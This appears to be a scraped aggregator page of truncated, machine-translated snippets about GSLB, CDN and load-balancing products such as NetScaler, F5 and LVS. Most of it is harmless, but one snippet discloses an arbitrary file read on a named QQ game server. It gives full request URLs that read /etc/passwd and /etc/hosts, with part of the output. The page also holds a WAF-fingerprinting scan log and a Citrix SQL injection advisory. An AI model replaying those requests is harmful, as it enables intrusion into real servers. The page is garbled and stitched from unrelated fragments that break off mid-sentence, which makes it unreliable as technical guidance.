netscaler gslb

to some applications Program When an HTTP request is sent, the IPv6 DNS lookup always times out before IPv4 intervention (usually reported to take about 30 seconds), which is also a common cause of slow DNS lookup process. 3) Some people reported: "One day, the O M Department declared that the company's network had all enable IPv6. After that, when using the PHP curl function or using wget in Linux to access an internal domain name, it takes about five seconds to get the results. The reason i

return it to the user. This achieves the same effect as setting up a DNS server on the Intranet. Of course, this function is also limited: the number of domain names that can be set is limited.When I went online in a link balancing project, I encountered the situation of replacing the H3C firewall with A10. The H3C firewall was configured with DNS-MAP. After the replacement with A10, we found that the Intranet users could not access the Intranet server using the domain name, because at the begi

In the past two years, with the increase of overseas users and the complexity of user conditions, our service deployment has also begun to become more complicated. Some users fail to access the domain name A, and the access to the domain name B may be smooth, other users are the opposite. In many cases, this is not a scheduling like gslb that can be detected and quickly adjusted in a timely manner. I cannot help but think about it. Can I retry failure

optimization, network daily management. 2) High-performance cluster architecture deployment and optimization. 3) Large concurrent site operations and management. 4) Mysql, Oracle DB Cluster Management. 5) Development and management of automatic operation and maintenance platform6) site Architecture gslb, CDN Cache, and so on. An industry to be skilled, or even proficient in at least 5-10 years to spend, do one thing in a single-minded, eve

Arbitrary File Reading caused by a game configuration error in the QQ space Xunxia? Resin ProblemsRead/etc/passwdHttp://s138.app24599.qqopenapp.com/resin-doc/resource/tutorial/jndi-appconfig/test? InputFile =/etc/passwdAccessHttp://s138.app24599.qqopenapp.com/Go to xunxia Official WebsiteHttp://xia.qq.com/Read hosts filesHttp://s138.app24599.qqopenapp.com/resin-doc/resource/tutorial/jndi-appconfig/test? InputFile =/etc/hosts InputFile:/etc/hosts127.0.0.1 TENCENT64 TENCENT64.site localhost. local

provide the user with the choice of a suitable cache server to serve, the choice is based on: According to the user's IP address, determine which server is nearest to the user; Determine which server has the user's content according to the content name that is carried in the URL requested by the user , query the current load of each server, determine which server is still capable of service. Based on the comprehensive analysis of these conditions, the zone load balancing device returns the IP a

CDN (Content Delivery network) is a kind of advanced traffic distribution network based on the existing Internet. is different from mirroring, equivalent to CDN = Mirror (mirror) +Cache + Overall load balancing (GSLB). At present, the CDN has cached the static data in the website mainly, such as css,js, picture and static page data, the user requests from the main server to the dynamic page, then downloads these static data from the CDN, thus accelera

, download the reverse proxy server software using squid, download address: http://www.squid-cache.org/ stored in the/USR/LOCAL/SRC directory after downloading, the filename is squid-2.4.stable2-src.tar.gz 2, tar zxvf squid-2.4.stable2-src.tar.gz decompression 3, cd/usr/local/src/squid-2.4.stable2 into the catalogue 4./configure--prefix=/usr/local/squid--enable-heap-replacement--disable-internal-dns set up the environment to install squid/usr/local/ Squid in. The second parameter specifies t

users can get more resources nearby, so to speak, CDN = mirror (mirror) + cache (cache) + Load balancer (GSLB). At present, the CDN is based on the static data in the cache website, the user downloads the dynamic content from the main station server and then downloads the static file to the CDN.First, the CDN architecture:CDN implementation to consider load balancing, and load balancing includes DNS resolution load balancing, cluster load balancing a

])FinallyCur.close ()Conn.close ()def asset_table (Self,new,old):TryConn=mysqldb.connect (host= ' localhost ', user= "root", passwd= "", db= "Assetdata", charset= ' UTF8 ')Cur=conn.cursor ()If Len (new):For Insert_data in NEW:Sql_add= "SELECT * from T_asset_info where svrassetid=\"%s\ ""%insert_dataCur.execute (Sql_add)Res_n=cur.fetchall ()Cur.execute ("INSERT into t_asset_table VALUES (\"%s\ ", \"%s\ ", \"%s\ ", \"%s\ ", \"%s\ ", \"%s\ ")"% (res_n[0][0],res_n[0][1 ],RES_N[0][2],RES_N[0][3],RES_

Tags: f5 ltm gtm OTV sophomore layer MTUFirst, the problem phenomenonRecently in a customer because of the holiday core Cisco 6509 hardware failure problem, and then found that F5 released 3 application access problems, some people access to the application is not available problems, when bad, the intranet use F5 GTM+LTM domain name double live, The internal co-city dual live DC is built using Cisco's sophomore layer technology Otv+lisp technology through three-tier routing;F5 above check the ap

(Scheduler)Hardware:F5 big-IP (good performance, high price)Citrix Netscaler (moderate performance, affordable)A10 A10 (slightly worse performance)Software:Lvs:linux Virtual Server (Chinese Zhangwensong Development)Nginx:HaproxyAts:apache Traffic ServerPerlbal:PoundWork-based protocol layer partitioning:Transport layer: four-layer switching (load balancing implemented at the Transport layer)LvsNginxHaproxyApplication layer: seven-layer switching (loa

Transfer from http://blog.csdn.net/moshengtan/article/details/89900521 Web Load Balancing 1.1-Implementation with commercial hardware The most frequently used F5 with Citrix NetScaler. For example, 12306 front-end Web seems to be using F5 BIGIP. If the company has enough money, the relative use of open source software to reasoning convenience.Advantages: Easy maintenance, stable performanceCons: Too expensive1.2-Using Open source software You

the environment. 4. E-commerce Web site High-performance, highly available solutions, LVS load balancing (front-end four-tier load balancer). 5. The key point explanation of the construction process, the key step explanation. 6. This program has been used in practical production applications for many times, and can be flexibly applied. Second, the software load balance common several scenarios: 1.lvs+keepalived load Balancing, lvs+keepalived is a four-tier load balancing software under Lin

Now the trend of Web site development to the use of Network Load balancing with the increase of the size of the site according to different stages to use different technologies: 1. Hardware-level load balancing This load balancing is done through hardware, and common hardware has more expensive commercial load balancers such as NetScaler, F5, Radware, and array. Hardware load balancing is an application on the OSI layer fourth (transport layer) Its ad

] [debug] page not found (404) [xx:xx:23] [debug] checking for Waf/ids/ips product ' Ks-waf (Know NSEC) ' [xx:xx:23] [debug] checking for Waf/ids/ips product ' NetScaler (Citrix Systems) ' [xx:xx:23] [debug] checking fo R waf/ids/ips Product ' jiasule Web application Firewall (jiasule) ' [xx:xx:23] [DEBUG] checking for waf/ids/ips product ' Webknight Application FiRewall (Aqtronix) ' [xx:xx:23] [debug] checking for Waf/ids/ips product ' Appwall (radwa

Tags: implementation of Linux clustersCluster (Cluster): Multiple computers, in order to solve a set of problems, usually to improve the performance of the system;Clusters are divided into: Load Balancing cluster (LB), High availability cluster (HA), High performance cluster (HP);One, load Balancing cluster (LB Cluster):Hardware-based implementations: A10 of F5 big_ip, Citrix Netscaler, A10 CompanySoftware-based implementations: LVS, httpd, Nginx, Hap

Tags: keepalived high-availability NginxIntroduction of a group Divided into two categories according to function: High availability and load balancing A highly available cluster is typically two servers, one working, the other being redundant, and redundancy will take over as the service goes down. Open source software for high availability: heartbeat, keepalived A load Balancer cluster requires a server as a dispatcher, which distributes the user's requests to the backend server, whe

Citrix Command Center SQL injection vulnerability in CVE-2015-7999)Citrix Command Center SQL injection vulnerability in CVE-2015-7999) Release date:Updated on:Affected Systems: Citrix Command Center Citrix Command Center Description: CVE (CAN) ID: CVE-2015-7999Citrix Command Center manages and monitors Citrix NetScaler and CloudBridge system products.In versions earlier than Citrix Command Center 5.1 Build 36.7 and 5.2 Build 44.11, multiple SQL

security. In addition, how do we choose servers? With the highly available cluster environment of server load balancer, we can assemble servers by ourselves, which is the most cost-effective. Although the quality of branded servers such as IBM and DELL is guaranteed, the price is often unacceptable to the boss. Of course, everything is based on stability. First, select the server load balancer device. We can have two options: one is through hardware. common hardware includes expensive